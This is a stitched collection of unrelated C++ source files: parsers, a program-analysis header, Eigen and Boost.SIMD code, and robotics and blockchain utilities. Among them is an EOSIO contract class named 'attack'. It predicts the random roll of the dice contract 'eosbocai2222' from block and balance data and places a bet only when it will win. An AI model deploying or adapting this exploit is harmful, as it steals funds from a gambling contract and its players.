    qi::_b_type _b;
    qi::_c_type _c;
    qi::_r1_type _r1;
    qi::lit_type lit;
    qi::double_type double_;
    qi::no_case_type no_case;

    // actions
    function<process_matrix> matrix_action;
    function<process_rotate> rotate_action;
    function<process_translate> translate_action;
    function<process_scale> scale_action;
    function<process_skew> skew_action;

    start =  +transform_(_r1) ;

    transform_ = matrix(_r1) | rotate(_r1) | translate(_r1) | scale(_r1) | rotate(_r1) | skewX(_r1) | skewY (_r1) ;

    matrix = no_case[lit("matrix")] >> lit('(')
                                    >> (double_ >> -lit(',')
                                        >> double_ >> -lit(',')
                                        >> double_ >> -lit(',')
                                        >> double_ >> -lit(',')
                                        >> double_ >> -lit(',')
                                        >> double_)[matrix_action(_r1, _1, _2, _3, _4, _5, _6)] >> lit(')');

    translate = no_case[lit("translate")]
        >> lit('(') >> (double_ >> -lit(',') >> -double_)[translate_action(_r1, _1, _2)] >> lit(')');

    scale = no_case[lit("scale")]
        >> lit('(') >> (double_ >> -lit(',') >> -double_)[scale_action(_r1, _1, _2)] >> lit(')');

    rotate = no_case[lit("rotate")]
        >> lit('(')
        >> double_[_a = _1] >> -lit(',')
        >> -(double_ [_b = _1] >> -lit(',') >> double_[_c = _1])
        >> lit(')') [ rotate_action(_r1, _a,_b,_c)];

    skewX = no_case[lit("skewX")] >> lit('(') >> double_ [ skew_action(_r1, _1, 0.0)] >> lit(')');

    skewY = no_case[lit("skewY")] >> lit('(') >> double_ [ skew_action(_r1, 0.0, _1)] >> lit(')');

}

}}


#pragma once

/* Liveness analysis */

#include <crab/common/debug.hpp>
#include <crab/common/stats.hpp>
#include <crab/common/types.hpp>
#include <crab/domains/killgen_domain.hpp>
#include <crab/iterators/killgen_fixpoint_iterator.hpp>

#include <boost/range/iterator_range.hpp>
#include <unordered_map>

namespace crab {

namespace analyzer {

template <typename V>
using varset_domain = crab::domains::flat_killgen_domain<V>;

/**
 * Define the main operations for the liveness variable analysis:
 * compute for each basic block the set of live variables, i.e.,
 * variables that might be used in the future
 **/
template <class CFG>
class liveness_analysis_operations
    : public crab::iterators::killgen_operations_api<
          CFG, varset_domain<typename CFG::variable_t>> {

public:
  typedef varset_domain<typename CFG::variable_t> varset_domain_t;
  typedef typename CFG::basic_block_label_t basic_block_label_t;

private:
  typedef crab::iterators::killgen_operations_api<CFG, varset_domain_t>
      parent_type;
  typedef std::pair<varset_domain_t, varset_domain_t> binding_t;
  typedef std::unordered_map<basic_block_label_t, binding_t> liveness_map_t;

  liveness_map_t m_liveness_map;

public:
  liveness_analysis_operations(CFG cfg) : parent_type(cfg) {}

  virtual bool is_forward() { return false; }

  virtual varset_domain_t entry() {
    varset_domain_t res = varset_domain_t::bottom();
    if (this->m_cfg.has_func_decl()) {
      auto fdecl = this->m_cfg.get_func_decl();
      for (unsigned i = 0, e = fdecl.get_num_outputs(); i < e; ++i) {
        res += fdecl.get_output_name(i);
      }
    }
    return res;
  }

  virtual varset_domain_t merge(varset_domain_t d1, varset_domain_t d2) {
    return d1 | d2;
  }

  virtual void init_fixpoint() {
    for (auto &b :
         boost::make_iterator_range(this->m_cfg.begin(), this->m_cfg.end())) {
      varset_domain_t kill, gen;
      for (auto &s : boost::make_iterator_range(b.rbegin(), b.rend())) {
        auto live = s.get_live();
        for (auto d :
             boost::make_iterator_range(live.defs_begin(), live.defs_end())) {
          kill += d;
          gen -= d;
        }
        for (auto u :
             boost::make_iterator_range(live.uses_begin(), live.uses_end())) {
          gen += u;
        }
      }
      m_liveness_map.insert(std::make_pair(b.label(), binding_t(kill, gen)));
    }
  }

  virtual varset_domain_t analyze(basic_block_label_t bb_id,
                                  varset_domain_t in) {
    auto it = m_liveness_map.find(bb_id);
    assert(it != m_liveness_map.end());
    in -= it->second.first;
    in += it->second.second;
    return in;
  }

  virtual std::string name() { return "Liveness"; }
};

/** Live variable analysis **/
template <typename CFG>
class liveness_analysis : public crab::iterators::killgen_fixpoint_iterator<
                              CFG, liveness_analysis_operations<CFG>> {

  typedef liveness_analysis_operations<CFG> liveness_analysis_operations_t;
  typedef crab::iterators::killgen_fixpoint_iterator<
      CFG, liveness_analysis_operations_t>
      killgen_fixpoint_iterator_t;

  liveness_analysis(const liveness_analysis<CFG> &other) = delete;
  liveness_analysis<CFG> &
  operator=(const liveness_analysis<CFG> &other) = delete;

public:
  typedef typename CFG::basic_block_label_t basic_block_label_t;
  typedef typename CFG::statement_t statement_t;
  typedef typename CFG::varname_t varname_t;
  typedef
      typename liveness_analysis_operations_t::varset_domain_t varset_domain_t;

private:
  // output of the analysis: map basic blocks to set of live
  // variables at the end of the blocks
  std::unordered_map<basic_block_label_t, varset_domain_t> _live_map;

public:
  liveness_analysis(CFG cfg) : killgen_fixpoint_iterator_t(cfg) {}

  void exec() {
    this->run();

    crab::ScopedCrabStats __st__("Liveness.store_results");
    _live_map.insert(make_move_iterator(this->out_begin()),
		     make_move_iterator(this->out_end()));

    CRAB_LOG("liveness-live",
	     for (auto p :
		    boost::make_iterator_range(this->out_begin(), this->out_end())) {
	       crab::outs() << cfg_impl::get_label_str(p.first)
			    << " live variables=" << p.second << "\n";;
	     });

    this->release_memory();
  }

  varset_domain_t get(basic_block_label_t bb) const {
    auto it = _live_map.find(bb);
    if (it != _live_map.end()) {
      return it->second;
    } else {
      return varset_domain_t::bottom();
    }
  }

  void write(crab_os &o) const {
    o << "TODO: print liveness analysis results\n";
  }
};

template <typename CFG>
inline crab_os &operator<<(crab_os &o, const liveness_analysis<CFG> &l) {
  l.write(o);
  return o;
}

/**
 * Live and Dead variable analysis.
 *
 * FIXME: the name "liveness" is not that great so we should
 *        change it at some point. For that we need to change crab
 *        clients.
 **/
template <typename CFG> class liveness {
public:
  typedef typename CFG::basic_block_label_t basic_block_label_t;
  typedef typename CFG::basic_block_t basic_block_t;
  typedef typename CFG::statement_t statement_t;
  typedef typename CFG::varname_t varname_t;
  typedef typename CFG::variable_t variable_t;
  typedef varset_domain<variable_t> varset_domain_t;

private:
  typedef liveness_analysis<CFG> liveness_analysis_t;

  // the cfg
  CFG m_cfg;
  // liveness analysis
  std::unique_ptr<liveness_analysis_t> m_live;
  // precompute dead variables might be expensive so user can choose.
  bool m_ignore_dead;
  // map basic blocks to set of dead variables at the end of the
  // blocks
  std::unordered_map<basic_block_label_t, varset_domain_t> m_dead_map;

  // statistics
  unsigned m_max_live;
  unsigned m_total_live;
  unsigned m_total_blocks;

public:
  // for backward compatibility
  // XXX: maybe unused already
  typedef varset_domain_t set_t;

  // If ignore_dead is true then dead symbols are not computed.
  liveness(CFG cfg, bool ignore_dead = false)
    : m_cfg(cfg),
      m_live(new liveness_analysis_t(m_cfg)),
      m_ignore_dead(ignore_dead),
      m_max_live(0),
      m_total_live(0), m_total_blocks(0) {}

  liveness(const liveness<CFG> &other) = delete;

  liveness<CFG> &operator=(const liveness<CFG> &other) = delete;

  void exec() {
    m_live->exec();
    if (!m_ignore_dead) {
      crab::ScopedCrabStats __st__("Liveness.precompute_dead_variables");
      /** Remove dead variables locally **/
      for (auto &bb : boost::make_iterator_range(m_cfg.begin(), m_cfg.end())) {
	varset_domain_t live_set = m_live->get(bb.label());
	if (live_set.is_bottom())
	  continue;

	varset_domain_t dead_set = m_cfg.get_node(bb.label()).live();
	// dead variables = (USE(bb) U DEF(bb)) \ live_out(bb)
	dead_set -= live_set;
	CRAB_LOG("liveness", crab::outs()
		             << cfg_impl::get_label_str(bb.label())
		             << " dead variables=" << dead_set << "\n";);
	m_dead_map.insert(std::make_pair(bb.label(), std::move(dead_set)));
	// update statistics
	m_total_live += live_set.size();
	m_max_live = std::max(m_max_live, live_set.size());
	m_total_blocks++;
      }
    }
  }

  // Return the set of live variables at the exit of block bb
  varset_domain_t get(basic_block_label_t bb) const { return m_live->get(bb); }

  // Return the set of dead variables at the exit of block bb
  varset_domain_t dead_exit(basic_block_label_t bb) const {
    if (m_ignore_dead) {
      CRAB_WARN("Dead variables were not precomputed during liveness analysis");
    }
    auto it = m_dead_map.find(bb);
    if (it == m_dead_map.end()) {
      return varset_domain_t();
    } else {
      return it->second;
    }
  }

  void get_stats(unsigned &total_live, unsigned &max_live_per_blk,
                 unsigned &avg_live_per_blk) const {
    total_live = m_total_live;
    max_live_per_blk = m_max_live;
    avg_live_per_blk =
        (m_total_blocks == 0 ? 0 : (int)m_total_live / m_total_blocks);
  }

  void write(crab_os &o) const {
    o << "TODO: printing dead variable analysis results\n";
  }
};

template <typename CFG>
inline crab_os &operator<<(crab_os &o, const liveness<CFG> &l) {
  l.write(o);
  return o;
}

} // end namespace analyzer
} // end namespace crab


//    Copyright 2017 Rainer Gemulla
//
//    Licensed under the Apache License, Version 2.0 (the "License");
//    you may not use this file except in compliance with the License.
//    You may obtain a copy of the License at
//
//        http://www.apache.org/licenses/LICENSE-2.0
//
//    Unless required by applicable law or agreed to in writing, software
//    distributed under the License is distributed on an "AS IS" BASIS,
//    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//    See the License for the specific language governing permissions and
//    limitations under the License.
#include <string>

#include <boost/filesystem.hpp>
#include <boost/program_options.hpp>

#include <util/io.h>
#include <mpi2/mpi2.h>
#include <mf/mf.h>

#include "parse.h"

using namespace std;
using namespace mf;
using namespace mpi2;
using namespace boost;
using namespace boost::program_options;
using namespace rg;

// program arguments
struct Args {
	mf_size_type size1, size2, nnz;
	string values;
	unsigned seed;
	string outFilename;
	MatrixFileFormat format;
	Random32 random;
};

// generates a matrix of type M
template<typename M>
struct Generate {
	Generate(Args& args) : args(args) {	};

	static void run(Args& args) {
		Generate<M> f(args);
		parse::parseDistribution("values", args.values, f);
	}

	template<typename Dist>
	void operator()(Dist dist) {
		M m(args.size1, args.size2);
		cout << "Generating matrix..." << flush;
		generateRandom(m, args.nnz, args.random, dist);
		cout << " done." << endl << "Writing matrix..." << flush;
		writeMatrix(args.outFilename, m);
		cout << " done." << endl;
	};

	Args& args;
};

// main program
int main(int argc, char *argv[]) {
	Args args;

	// parse command line
	options_description desc("Options");
	desc.add_options()
		("help", "produce help message")
		("size1", value<mf_size_type>(&args.size1), "number of rows to generate")
		("size2", value<mf_size_type>(&args.size2), "number of columns to generate")
		("nnz", value<mf_size_type>(&args.nnz), "number of non-zero entries to generate (full matrix if not set)")
		("values", value<string>(&args.values), "distribution of values (e.g., \"Normal(0,1)\", \"Uniform(-1,1)\")")
		("seed", value<unsigned>(&args.seed), "seed for random number generator (if not set, system time is used)")
		("output-file", value<string>(&args.outFilename), "output file");
	;
	positional_options_description pdesc;
	pdesc.add("output-file", 1);

	variables_map vm;
	store(command_line_parser(argc, argv).options(desc).positional(pdesc).run(), vm);
	notify(vm);

	// check required arguments
	if (vm.count("help") || vm.count("values")==0 || vm.count("size1")==0 || vm.count("size2")==0) {
		cerr << "Error: Options size1,size2,values,output-file are required" << endl;
		cerr << "mfgenerate [options]" << endl;
	    cerr << desc << endl;
	    exit(1);
	}

	// set default arguments
	if (vm.count("nnz") == 0) args.nnz = args.size1*args.size2;
	if (vm.count("seed") == 0) args.seed = time(NULL);
	args.format = getMatrixFormat(args.outFilename);
	args.random = Random32(args.seed);

	// let's go (matrix currently generated in memory; if that turns out to be a problem
	// we may directly generate to a file)
	cout << "Output file : " << args.outFilename << endl;
	cout << "Matrix size : " << args.size1 << "x" << args.size2 << ", " << args.nnz << " nonzero entries"  << endl;
	cout << "Seed        : " << args.seed << endl;
	if (isSparse(args.format)) {
		cout << "Matrix type : sparse (format " << getName(args.format) << ")" << endl;
		Generate<SparseMatrix>::run(args);
	} else {
		cout << "Matrix type : dense (format " << getName(args.format) << ")" << endl;
		Generate<DenseMatrix>::run(args);
	}

	// everything OK
	return 0;
}


/*
 * @Description: 存放处理后的IMU姿态以及GNSS位置
 * @Author: Ren Qian
 * @Date: 2020-02-27 23:10:56
 */
#ifndef LIDAR_LOCALIZATION_SENSOR_DATA_POSE_DATA_HPP_
#define LIDAR_LOCALIZATION_SENSOR_DATA_POSE_DATA_HPP_

#include <Eigen/Dense>

#include "lidar_localization/sensor_data/velocity_data.hpp"

namespace lidar_localization {

class PoseData {
  public:
    double time = 0.0;
    Eigen::Matrix4f pose = Eigen::Matrix4f::Identity();

    struct {
      Eigen::Vector3f v = Eigen::Vector3f::Zero();
      Eigen::Vector3f w = Eigen::Vector3f::Zero();
    } vel;

  public:
    Eigen::Quaternionf GetQuaternion();

    void GetVelocityData(VelocityData &velocity_data) const;
};

}

#endif


// This file is part of Eigen, a lightweight C++ template library
// for linear algebra.
//
// Copyright (C) 2015 Benoit Steiner <benoit.steiner.goog@gmail.com>
//
// This Source Code Form is subject to the terms of the Mozilla
// Public License v. 2.0. If a copy of the MPL was not distributed
// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.

#include "main.h"
#include <limits>
#include <map>

#include <Eigen/Dense>
#include <Eigen/CXX11/Tensor>

using Eigen::Tensor;

template <int DataLayout>
static void test_map_as_index()
{
#ifdef EIGEN_HAS_SFINAE
  Tensor<float, 4, DataLayout> tensor(2, 3, 5, 7);
  tensor.setRandom();

  using NormalIndex = DSizes<ptrdiff_t, 4>;
  using CustomIndex = std::map<ptrdiff_t, ptrdiff_t>;
  CustomIndex coeffC;
  coeffC[0] = 1;
  coeffC[1] = 2;
  coeffC[2] = 4;
  coeffC[3] = 1;
  NormalIndex coeff(1,2,4,1);

  VERIFY_IS_EQUAL(tensor.coeff(coeffC), tensor.coeff(coeff));
  VERIFY_IS_EQUAL(tensor.coeffRef(coeffC), tensor.coeffRef(coeff));
#endif
}

template <int DataLayout>
static void test_matrix_as_index()
{
#ifdef EIGEN_HAS_SFINAE
  Tensor<float, 4, DataLayout> tensor(2, 3, 5, 7);
  tensor.setRandom();

  using NormalIndex = DSizes<ptrdiff_t, 4>;
  using CustomIndex = Matrix<unsigned int, 4, 1>;
  CustomIndex coeffC(1,2,4,1);
  NormalIndex coeff(1,2,4,1);

  VERIFY_IS_EQUAL(tensor.coeff(coeffC), tensor.coeff(coeff));
  VERIFY_IS_EQUAL(tensor.coeffRef(coeffC), tensor.coeffRef(coeff));
#endif
}

template <int DataLayout>
static void test_varlist_as_index()
{
#ifdef EIGEN_HAS_SFINAE
  Tensor<float, 4, DataLayout> tensor(2, 3, 5, 7);
  tensor.setRandom();

  DSizes<ptrdiff_t, 4> coeff(1,2,4,1);

  VERIFY_IS_EQUAL(tensor.coeff({1,2,4,1}), tensor.coeff(coeff));
  VERIFY_IS_EQUAL(tensor.coeffRef({1,2,4,1}), tensor.coeffRef(coeff));
#endif
}

template <int DataLayout>
static void test_sizes_as_index()
{
#ifdef EIGEN_HAS_SFINAE
  Tensor<float, 4, DataLayout> tensor(2, 3, 5, 7);
  tensor.setRandom();

  DSizes<ptrdiff_t, 4> coeff(1,2,4,1);
  Sizes<1,2,4,1> coeffC;

  VERIFY_IS_EQUAL(tensor.coeff(coeffC), tensor.coeff(coeff));
  VERIFY_IS_EQUAL(tensor.coeffRef(coeffC), tensor.coeffRef(coeff));
#endif
}

void test_cxx11_tensor_custom_index() {
  test_map_as_index<ColMajor>();
  test_map_as_index<RowMajor>();
  test_matrix_as_index<ColMajor>();
  test_matrix_as_index<RowMajor>();
  test_varlist_as_index<ColMajor>();
  test_varlist_as_index<RowMajor>();
  test_sizes_as_index<ColMajor>();
  test_sizes_as_index<RowMajor>();
}


//==================================================================================================
/*!
  @file

  @copyright 2016 NumScale SAS
  @copyright 2016 J.T. Lapreste

  Distributed under the Boost Software License, Version 1.0.
  (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt)
*/
//==================================================================================================
#ifndef BOOST_SIMD_FUNCTION_NEXT_HPP_INCLUDED
#define BOOST_SIMD_FUNCTION_NEXT_HPP_INCLUDED

#if defined(DOXYGEN_ONLY)
namespace boost { namespace simd
{

 /*!

    @ingroup group-ieee
    Function object implementing next capabilities

    Returns the smallest representable value  strictly greater than the parameter

    @par Semantic:

    @code
    T r = next(x);
    @endcode

    computes the smallest value strictly greater than x in type T

    @see nextafter, prev, successor, predecessor

  **/
  const boost::dispatch::functor<tag::next_> next = {};
} }
#endif

#include <boost/simd/function/scalar/next.hpp>
#include <boost/simd/function/simd/next.hpp>

#endif


#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>
#include "eosio.token.hpp"

using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;

class attack : public eosio::contract {
    public:
        attack(account_name self):eosio::contract(self)
        {}

        uint8_t random(account_name name, uint64_t game_id, uint32_t prefix, uint32_t num)
        {
            asset pool_eos = eosio::token(N(eosio.token)).get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name());
            auto amount = pool_eos.amount + 10000;
            auto time = current_time() + 1000000;
            //auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + pool_eos.amount;
            auto mixd = prefix * num + name + game_id - time + amount;

            print(
                "[ATTACK RANDOM]tapos-prefix=>", (uint32_t)prefix,
                "|tapos-num=>", num,
                "|current_time=>", time,
                "|game_id=>", game_id,
                "|poll_amount=>", amount,
                "\n"
            );
            const char *mixedChar = reinterpret_cast<const char *>(&mixd);

            checksum256 result;
            sha256((char *)mixedChar, sizeof(mixedChar), &result);

            uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
            return (uint8_t)(random_num % 100 + 1);
        }

        //@abi action
        void hi(uint64_t id, uint32_t block_prefix, uint32_t block_num)
        {
            //uint8_t roll;
            uint8_t random_roll = random(N(attacker), id, block_prefix, block_num);
            print("[ATTACK]predict random num =>", (int)random_roll,"\n");
            if((int)random_roll >3 && (int)random_roll <95)
            {
                int roll = (int)random_roll + 1;
                auto dice_str = "dice-noneage-" + std::to_string(roll) + "-user";
                print("[ATTACK]current_time=>", current_time(), "\n");
                print(
                    "[ATTACK]tapos-prefix=>", (uint32_t)tapos_block_prefix(),
                    "|tapos-num=>", tapos_block_num(),
                    "\n"
                );
                print("[ATTACK] before transfer");
                action(
                    permission_level{_self, N(active)},
                    N(eosio.token), N(transfer),
                    std::make_tuple(_self, N(eosbocai2222), asset(10000, S(4, EOS)), dice_str)
                ).send();
            }
        }
};

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
   void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
      auto self = receiver; \
      if( code == self || code == N(eosio.token)) { \
         if( action == N(transfer)){ \
                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
         } \
         TYPE thiscontract( self ); \
         switch( action ) { \
            EOSIO_API( TYPE, MEMBERS ) \
         } \
         /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
      } \
   } \
}

EOSIO_ABI_EX( attack,
        (hi)
)


#include "RigidBodyInstance.h"
#include "VectorMath.h"
#include "RigidBodyTemplate.h"
#include <Eigen/Geometry>
#include <iostream>
#include "CollisionDetection.h"

using namespace Eigen;
using namespace std;

RigidBodyInstance::RigidBodyInstance(const RigidBodyTemplate &rbtemplate,
    const Eigen::Vector3d &c, const Eigen::Vector3d &theta,
    const Eigen::Vector3d &cvel, const Eigen::Vector3d &w,
    double density)
    : c(c), theta(theta), cvel(cvel), w(w), density(density), rbtemplate_(rbtemplate)
{
    AABB = buildAABB(this);
}

RigidBodyInstance::~RigidBodyInstance()
{
}


/**
 * Copyright Soramitsu Co., Ltd. All Rights Reserved.
 * SPDX-License-Identifier: Apache-2.0
 */

#include "consensus/babe/impl/threshold_util.hpp"

#include <boost/range/adaptors.hpp>
#include <boost/range/numeric.hpp>

namespace kagome::consensus {

  Threshold calculateThreshold(const std::pair<uint64_t, uint64_t> &c_pair,
                               const primitives::AuthorityList &authorities,
                               primitives::AuthorityIndex authority_index) {
    double c = double(c_pair.first) / c_pair.second;

    using boost::adaptors::transformed;
    double theta =
        double(authorities[authority_index].weight)
        / boost::accumulate(authorities | transformed([](auto &authority) {
                              return authority.weight;
                            }),
                            0.);

    using namespace boost::multiprecision;  // NOLINT
    cpp_rational p_rat(1. - pow(1. - c, theta));
    static const auto a = (uint256_t{1} << 128);
    return Threshold{a * numerator(p_rat) / denominator(p_rat)};
  }

}  // namespace kagome::consensus


#ifndef ASLAM_CAMERAS_FOV_DISTORTION_HPP
#define ASLAM_CAMERAS_FOV_DISTORTION_HPP

#include <Eigen/Dense>
#include <boost/serialization/nvp.hpp>
#include <boost/serialization/split_member.hpp>
#include <boost/serialization/version.hpp>
#include <sm/PropertyTree.hpp>
#include <sm/boost/serialization.hpp>
#include "StaticAssert.hpp"

namespace aslam {
namespace cameras {

/**
 * \class FovDistortion
 * \brief An implementation of the fov distortion model for pinhole cameras.
 */
class FovDistortion {
  public:
    enum { IntrinsicsDimension = 1 };
    enum { DesignVariableDimension = IntrinsicsDimension };

    /// \brief The default constructor sets all values to zero.
    FovDistortion();

    /// \brief A constructor that initializes all values.
    FovDistortion(double w);

    /// \brief initialize from a property tree
    FovDistortion(const sm::PropertyTree& config);

    virtual ~FovDistortion();

    /**
     * \brief Apply distortion to a point in the normalized image plane
     *
     * @param y The point in the normalized image plane. After the function, this point is distorted.
     */
    template <typename DERIVED_Y>
    void distort(const Eigen::MatrixBase<DERIVED_Y>& y) const;

    /**
     *
     * \brief Apply distortion to a point in the normalized image plane
     *
     * @param y The point in the normalized image plane. After the function, this point is distorted.
     * @param outJy The Jacobian of the distortion function with respect to small changes in the input point.
     */
    template <typename DERIVED_Y, typename DERIVED_JY>
    void distort(const Eigen::MatrixBase<DERIVED_Y>& y, const Eigen::MatrixBase<DERIVED_JY>& outJy) const;

    /**
     * \brief Apply undistortion to recover a point in the normalized image plane.
     *
     * @param y The distorted point. After the function, this point is in the normalized image plane.
     */
    template <typename DERIVED>
    void undistort(const Eigen::MatrixBase<DERIVED>& y) const;

    /**
     * \brief Apply undistortion to recover a point in the normalized image plane.
     *
     * @param y The distorted point. After the function, this point is in the normalized image plane.
     * @param outJy The Jacobian of the undistortion function with respect to small changes in the input point.
     */
    template <typename DERIVED, typename DERIVED_JY>
    void undistort(const Eigen::MatrixBase<DERIVED>& y, const Eigen::MatrixBase<DERIVED_JY>& outJy) const;

    /**
     * \brief Apply distortion to the point and provide the Jacobian of the distortion with respect to small changes in
     * the distortion parameters
     *
     * @param imageY the point in the normalized image plane.
     * @param outJd  the Jacobian of the distortion with respect to small changes in the distortion parameters.
     */
    template <typename DERIVED_Y, typename DERIVED_JD>
    void distortParameterJacobian(const Eigen::MatrixBase<DERIVED_Y>& imageY,
                                  const Eigen::MatrixBase<DERIVED_JD>& outJd) const;

    /**
     * \brief A function for compatibility with the aslam backend. This implements an update of the distortion
     * parameter.
     *
     * @param v A double array representing the update vector.
     */
    void update(const double* v);

    /**
     * \brief A function for compatibility with the aslam backend.
     *
     * @param v The number of parameters expected by the update equation. This should also define the number of columns
     * in the matrix returned by distortParameterJacobian.
     */
    int minimalDimensions() const;

    /**
     * \brief A function for compatibility with the aslam backend.
     *
     * @param P This matrix is resized and filled with parameters representing the full state of the distortion.
     */
    void getParameters(Eigen::MatrixXd& P) const;

    /**
     * \brief A function for compatibility with the aslam backend.
     *
     * @param P The full state of the distortion class is set from the matrix of parameters.
     */
    void setParameters(const Eigen::MatrixXd& P);

    Eigen::Vector2i parameterSize() const;

    double w() { return _w; }

    /// Static function that checks whether the given intrinsic parameters are valid for this model.
    bool areParametersValid(double w) { return std::abs(w) < 1e-16 || (w >= kMinValidW && w <= kMaxValidW); }

    /// \brief Compatibility with boost::serialization.
    enum { CLASS_SERIALIZATION_VERSION = 0 };
    BOOST_SERIALIZATION_SPLIT_MEMBER();

    template <class Archive>
    void load(Archive& ar, const unsigned int version);

    template <class Archive>
    void save(Archive& ar, const unsigned int version) const;

    bool isBinaryEqual(const FovDistortion& rhs) const;

    static FovDistortion getTestDistortion();

    void clear();

    /// \brief the disortion parameter
    double _w;
    static constexpr double kMaxValidAngle = (89.0 * M_PI / 180.0);
    static constexpr double kMinValidW = 0.5;
    static constexpr double kMaxValidW = 1.5;
};

}  // namespace cameras
}  // namespace aslam

#include "implementation/FovDistortion.hpp"

SM_BOOST_CLASS_VERSION(aslam::cameras::FovDistortion);

#endif /* ASLAM_CAMERAS_FOV_DISTORTION_HPP */


//==================================================================================================
/*!
  @file

  @copyright 2016 NumScale SAS

  Distributed under the Boost Software License, Version 1.0.
  (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt)
*/
//==================================================================================================
#ifndef BOOST_SIMD_DETAIL_CONSTANT_DENORMALSQRTFACTOR_HPP_INCLUDED
#define BOOST_SIMD_DETAIL_CONSTANT_DENORMALSQRTFACTOR_HPP_INCLUDED

#include <boost/simd/config.hpp>
#include <boost/simd/detail/nsm.hpp>
#include <boost/simd/detail/dispatch.hpp>
#include <boost/simd/detail/constant_traits.hpp>
#include <boost/simd/detail/dispatch/function/make_callable.hpp>
#include <boost/simd/detail/dispatch/hierarchy/functions.hpp>
#include <boost/simd/detail/dispatch/as.hpp>

/*

    @ingroup group-constant

    Generates constant Denormalsqrtfactor used in pedantic rsqrt

    @par Semantic:

    @code
    T r = Denormalsqrtfactor<T>();
    @endcode

    is similar to:

    @code
    if T is double
      r = 2^26;
    else if T is float
      r = 2^12
    @endcode

    @see Maxlog

*/

namespace boost { namespace simd
{
  namespace tag
  {
    struct denormalsqrtfactor_ : boost::dispatch::constant_value_<denormalsqrtfactor_>
    {
      BOOST_DISPATCH_MAKE_CALLABLE(ext,denormalsqrtfactor_,boost::dispatch::constant_value_<denormalsqrtfactor_>);
      BOOST_SIMD_REGISTER_CONSTANT(1, 0x45800000UL, 0x4190000000000000ULL);
    };
  }

  namespace ext
  {
    BOOST_DISPATCH_FUNCTION_DECLARATION(tag, denormalsqrtfactor_)
  }

  namespace detail
  {
    BOOST_DISPATCH_CALLABLE_DEFINITION(tag::denormalsqrtfactor_,denormalsqrtfactor);
  }

  template<typename T> BOOST_FORCEINLINE auto Denormalsqrtfactor()
  BOOST_NOEXCEPT_DECLTYPE(detail::denormalsqrtfactor( boost::dispatch::as_<T>{}))
  {
    return detail::denormalsqrtfactor( boost::dispatch::as_<T>{} );
  }
} }

#include <boost/simd/arch/common/scalar/constant/constant_value.hpp>
#include <boost/simd/arch/common/simd/constant/constant_value.hpp>

#endif